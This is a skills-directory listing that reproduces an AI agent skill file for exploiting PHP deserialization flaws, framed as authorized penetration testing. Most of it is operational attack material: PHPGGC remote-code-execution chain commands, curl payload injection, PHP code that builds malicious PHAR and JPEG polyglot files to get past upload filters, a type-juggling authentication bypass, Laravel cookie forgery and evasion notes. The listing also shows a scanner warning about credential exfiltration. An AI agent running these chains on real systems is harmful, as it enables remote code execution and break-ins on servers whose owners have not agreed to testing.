Skip to content
Back to skills

Deserialization Php

BSecurity

Exploit PHP deserialization vulnerabilities during authorized penetration testing.

  • 266 stars
  • 0 votes
  • 0 copies
  • 0 views
  • Added May 28, 2026
securitypythonrustphpswiftshellbashsqlawstestinggit

Works with

  • cli
  • mcp

Security analysis

B88/100
  • criticalExfiltrates credentials via HTTP — exact pattern from Snyk ToxicSkills study

Pro shows the line behind each finding and how to fix it

Scanned May 28, 2026

npx -y skills add blacklanternsecurity/red-run --skill deserialization-php --agent claude-code

Installs into .claude/skills of the current project.

Are you the author of Deserialization Php?

Add the live security badge to your README. It updates with every re-scan.

Security grade badge for Deserialization Php
[![Security: B — Skills Directory](https://www.skillsdirectory.com/api/skills/blacklanternsecurity-deserialization-php/badge)](https://www.skillsdirectory.com/skills/blacklanternsecurity-deserialization-php)

More formats (shields.io, HTML) on the badges page. Keep it an A: scan every change in CI with Pro.

Download with Pro
SKILL.md
---
name: deserialization-php
description: >
  Exploit PHP deserialization vulnerabilities during authorized penetration
  testing.
keywords:
  - php deserialization
  - php object injection
  - unserialize exploit
  - __wakeup exploit
  - __destruct exploit
  - phar deserialization
  - phar polyglot
  - PHPGGC
  - Laravel deserialization
  - PHP POP chain
  - php magic methods exploit
  - type juggling auth bypass
tools:
  - phpggc
  - burpsuite
  - exiftool
opsec: medium
---

# PHP Deserialization

You are helping a penetration tester exploit PHP deserialization
vulnerabilities. The target application passes untrusted data to
`unserialize()` or processes attacker-controlled phar:// streams, enabling
object injection and remote code execution via gadget chains. All testing is
under explicit written authorization.

## Engagement Logging

Check for `./engagement/` directory. If absent, proceed without logging.

When an engagement directory exists:
- Print `[deserialization-php] Activated → <target>` to the screen on activation.
- **Evidence** → save significant output to `engagement/evidence/` with
  descriptive filenames (e.g., `sqli-users-dump.txt`, `ssrf-aws-creds.json`).

## State Management

Call `get_state_summary()` from the state MCP server to read current
engagement state. Use it to:
- Skip re-testing targets, parameters, or vulns already confirmed
- Leverage existing credentials or access for this technique
- Understand what's been tried and failed (check Blocked section)

Your return summary must include:
- New targets/hosts discovered (with ports and services)
- New credentials or tokens found
- Access gained or changed (user, privilege level, method)
- Vulnerabilities confirmed (with status and severity)
- Pivot paths identified (what leads where)
- Blocked items (what failed and why, whether retryable)

## Prerequisites

- A PHP deserialization endpoint (`unserialize()` on user input, or filesystem
  function accepting `phar://`)
- Tools: `phpggc` (`git clone https://github.com/ambionics/phpggc`),
  Burp Suite for request interception
- Knowledge of target framework/libraries (Laravel, Symfony, WordPress, etc.)

## Step 1: Assess

If not already provided, determine:

1. **Serialization format** — look for these patterns:

| Pattern | Meaning | Example |
|---------|---------|---------|
| `O:<len>:"<class>"` | Serialized object | `O:8:"stdClass":1:{s:1:"a";s:1:"b";}` |
| `a:<count>:{...}` | Serialized array | `a:2:{i:0;s:3:"foo";i:1;s:3:"bar";}` |
| `s:<len>:"<value>"` | Serialized string | `s:5:"hello";` |
| `Tz` (base64) | Base64-encoded serialized | Decode to check for `O:` or `a:` |

2. **Entry point**:
   - GET/POST parameters
   - Cookies (session data, auth tokens)
   - HTTP headers
   - File uploads (phar:// trigger)
   - Database-stored serialized data

3. **Framework** — check for Laravel, Symfony, WordPress, Magento, CakePHP,
   Yii, CodeIgniter (determines available PHPGGC chains)

4. **PHP version** — PHP 7.0+ supports `allowed_classes` option in
   `unserialize()`, PHP 7.4+ has `__serialize()`/`__unserialize()`

Skip if context was already provided.

## Step 2: Basic Object Injection

### Direct Injection (Custom Application)

If the application has vulnerable classes with exploitable magic methods:

```php
# Magic methods triggered during deserialization:
# __wakeup()    — called when object is unserialized
# __destruct()  — called when object is garbage collected (most reliable)
# __toString()  — called when object is cast to string
# __call()      — called when undefined method is invoked
# __get()       — called when undefined property is read
```

**Test payload** — modify object properties:

```
# Original serialized session (example)
O:4:"User":2:{s:4:"name";s:5:"guest";s:5:"admin";b:0;}

# Modified — set admin=true
O:4:"User":2:{s:4:"name";s:5:"guest";s:5:"admin";b:1;}
```

### Type Juggling via Deserialization

Exploit loose comparison (`==`) in PHP:

```
# If auth check uses: if ($data['password'] == $storedPassword)
# Send boolean true — true == "any_string" is true in PHP
a:2:{s:8:"username";s:5:"admin";s:8:"password";b:1;}

# Magic hash collision (md5/sha1 starting with 0e — treated as 0 in ==)
# md5('240610708') starts with 0e → 0e... == 0e... is true
```

### Private/Protected Property Injection

PHP serialization encodes visibility with null bytes:

```
# Public property
s:4:"name";s:5:"value";

# Protected property (prefix: \0*\0)
s:7:"\0*\0name";s:5:"value";

# Private property (prefix: \0ClassName\0)
s:14:"\0MyClass\0name";s:5:"value";
```

## Step 3: PHPGGC (Framework Gadget Chains)

PHPGGC generates POP chains for common PHP frameworks and libraries.

```bash
# List all available gadget chains
phpggc --list

# Common RCE chains
phpggc Monolog/RCE1 system id                    # Monolog logging
phpggc Monolog/RCE2 system id                    # Monolog alternative
phpggc Laravel/RCE9 system id                    # Laravel framework
phpggc Laravel/RCE13 system id                   # Laravel alternative
phpggc Symfony/RCE4 system id                    # Symfony framework
phpggc SwiftMailer/FW1 /var/www/html/shell.php /tmp/data  # File write

# Output formats
phpggc Monolog/RCE1 system id -s                 # Serialized string
phpggc Monolog/RCE1 system id -b                 # Base64 encoded
phpggc Monolog/RCE1 system id -u                 # URL encoded
phpggc Monolog/RCE1 system id -p phar -o /tmp/exploit.phar  # PHAR format

# Inject into parameter
curl -X POST https://TARGET/endpoint \
  -d "data=$(phpggc Monolog/RCE1 system 'id' -u)"
```

**Framework → chain selection:**

| Framework/Library | Chains | Notes |
|-------------------|--------|-------|
| Laravel | RCE9, RCE13, RCE15 | Requires APP_KEY for encrypted cookies |
| Symfony | RCE4+ | Common in Symfony-based apps |
| Monolog | RCE1, RCE2 | Widely used logging library |
| Guzzle | FW1, Info1 | HTTP client — file write chains |
| SwiftMailer | FW1-4 | Email library — file write |
| Doctrine | RCE1-2 | ORM — RCE chains |
| WordPress | Various | Plugin-dependent gadgets |
| CakePHP | RCE1 | Framework-specific |
| Yii | RCE1 | Framework-specific |

### Laravel with Known APP_KEY

If the Laravel APP_KEY is known (from `.env` disclosure, git leak, debug
page, etc.), encrypted cookies can be forged:

```bash
# Generate gadget chain
phpggc Laravel/RCE13 system 'id' -b -f

# Encrypt with laravel-crypto-killer
python3 laravel_crypto_killer.py encrypt \
  -k "base64:APP_KEY_HERE" \
  -v "$(phpggc Laravel/RCE13 system id -b -f)"

# Inject as Laravel session cookie or XSRF-TOKEN
```

**APP_KEY leak sources:** `.env` via path traversal, debug error pages
(`APP_DEBUG=true`), git repository exposure, backup files, phpinfo().

## Step 4: Phar Deserialization

When PHP filesystem functions process a `phar://` path, the PHAR metadata
is automatically deserialized — even with functions like `file_exists()`,
`filesize()`, `fopen()`, `is_file()`, `md5_file()`, `file_get_contents()`.

### Create Malicious PHAR

```php
<?php
// create_phar.php — run with: php --define phar.readonly=0 create_phar.php

class VULN_CLASS {  // Replace with target's vulnerable class
    public $cmd = 'system("id");';
}

$phar = new Phar('exploit.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->setMetadata(new VULN_CLASS());
$phar->stopBuffering();
?>
```

### PHAR Polyglot (Bypass Upload Filters)

Prepend image magic bytes to make the PHAR appear as a valid image:

```php
<?php
// JPEG polyglot — passes image validation, works as PHAR
$phar = new Phar('exploit.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub("\xff\xd8\xff\n<?php __HALT_COMPILER(); ?>");  // JPEG header
$phar->setMetadata(new VULN_CLASS());
$phar->stopBuffering();
// Rename to .jpg for upload
rename('exploit.phar', 'exploit.jpg');
?>
```

Other magic byte options: `GIF89a` (GIF), `\x89PNG\r\n\x1a\n` (PNG).

### PHAR + PHPGGC

```bash
# Generate PHAR with framework gadget chain
phpggc Monolog/RCE1 system id -p phar -o exploit.phar

# Create JPEG polyglot PHAR with PHPGGC
phpggc Monolog/RCE1 system id -p phar -pp GIF -o exploit.gif
```

### Exploitation Flow

1. Upload PHAR polyglot as image (passes extension/MIME checks)
2. Trigger deserialization via any filesystem function that accepts
   user-controlled path:
   ```
   # If app has: file_exists($_GET['file'])
   curl "https://TARGET/check?file=phar:///var/www/uploads/exploit.jpg"

   # If app has: getimagesize($_GET['url'])
   curl "https://TARGET/resize?url=phar:///var/www/uploads/exploit.jpg"
   ```

## Step 5: Autoload Exploitation

When the target has `spl_autoload_register()` and you can deserialize
objects of non-existent classes, the autoloader attempts to load them —
potentially including arbitrary files.

```php
// If autoloader converts underscores to directory separators:
// spl_autoload_register(function($name) {
//     require '/' . str_replace('_', '/', $name) . '.php';
// });

// Payload to load /tmp/evil.php via autoloader:
O:8:"tmp_evil":0:{}

// Load another webapp's composer autoloader (gains access to its gadgets):
O:28:"www_frontend_vendor_autoload":0:{}
```

**Chain technique**: Load another app's autoloader via deserialization,
then exploit gadgets from that app's dependencies (e.g., Guzzle
FileCookieJar for file write).

## Step 6: Escalate or Pivot

## OPSEC Notes

- Serialized payloads visible in web server access logs
- PHAR files persist on disk — clean up after testing
- PHPGGC chains contain distinctive class names (Monolog, Guzzle) that may
  trigger application-level logging
- Failed deserialization attempts often generate PHP warnings/errors —
  check if error logging exposes testing activity
- Laravel encrypted cookies hide payload content but cookie size may be
  anomalous

## Troubleshooting

### PHPGGC Chain Throws Error

- Confirm the target framework/library version matches the chain requirements
- Try multiple chains for the same framework (`Laravel/RCE9`, `RCE13`, `RCE15`)
- Check if `unserialize()` uses `allowed_classes` restriction (PHP 7.0+)
- If `allowed_classes` is set, only whitelisted classes instantiate — try
  phar:// deserialization instead (bypasses `allowed_classes`)

### Phar Deserialization Not Triggering

- Verify the filesystem function accepts user-controlled input
- Check if `phar://` wrapper is disabled in `php.ini`
  (`allow_url_fopen` does not affect phar)
- Ensure the PHAR file is accessible at the path you're referencing
- Try `phar://` with relative and absolute paths
- Some functions require the phar to have a valid signature

### Serialized Data Modified but No Effect

- Check if the application validates a MAC/signature on the serialized data
- Laravel encrypts + HMACs cookies — need APP_KEY to forge
- WordPress uses `wp_salt()` for cookie signatures
- Try finding the signing key or look for unsigned deserialization points

### Type Juggling Bypass Not Working

- PHP 8.0+ changed `==` behavior for string-number comparison (`"0" == ""`
  is now false)
- Check if the application uses strict comparison (`===`)
- Magic hash collisions only work with loose `==` comparison

Attribution

Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.

Comments

Loading comments…

Newsletter

Get the weekly list of safe new skills, and the ones we pulled.